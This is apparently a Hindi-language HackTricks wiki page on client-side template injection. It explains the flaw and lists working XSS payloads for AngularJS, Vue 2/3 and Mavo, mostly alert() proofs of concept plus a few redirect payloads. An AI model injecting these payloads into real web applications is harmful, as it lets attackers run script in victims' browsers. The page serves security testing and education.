Client Side Template Injection (CSTI)

Support HackTricks

Summary

यह Server Side Template Injection की तरह है लेकिन client में। SSTI आपको remote server पर कोड execute करने की अनुमति दे सकता है, CSTI आपको victim's browser में मनमाना JavaScript कोड execute करने की अनुमति दे सकता है।

इस भेद्यता के लिए Testing SSTI के मामले में बहुत similar है, interpreter एक template की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे {{ 7-7 }} के साथ, यदि ऐप vulnerable है तो आप 0 देखेंगे, और यदि नहीं, तो आप मूल देखेंगे: {{ 7-7 }}

AngularJS

AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है जिसे directives के रूप में जाना जाता है, एक उल्लेखनीय ng-app है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions के execution की अनुमति मिलती है।

ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को ng-app के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड execute किया जा सकता है:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

आप इस बुनियादी ऑनलाइन उदाहरण को AngularJS में इस लिंक पर पा सकते हैं http://jsfiddle.net/2zs2yv7o/ और Burp Suite Academy में

Angular 1.6 ने सैंडबॉक्स हटा दिया इसलिए इस संस्करण से एक पेलोड जैसे {{constructor.constructor('alert(1)')()}} या <input ng-focus=$event.view.alert('XSS')> काम करना चाहिए।

VueJS

आप एक कमजोर Vue कार्यान्वयन इस लिंक पर पा सकते हैं https://vue-client-side-template-injection-example.azu.now.sh/ काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

और कमजोर उदाहरण का स्रोत कोड यहाँ है: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

CSTI पर VUE में एक बहुत अच्छा पोस्ट https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets पर पाया जा सकता है।

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

अधिक VUE पेलोड्स देखें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

अधिक पेलोड्स https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

ब्रूट-फोर्स डिटेक्शन लिस्ट

HackTricks का समर्थन करें

Last updated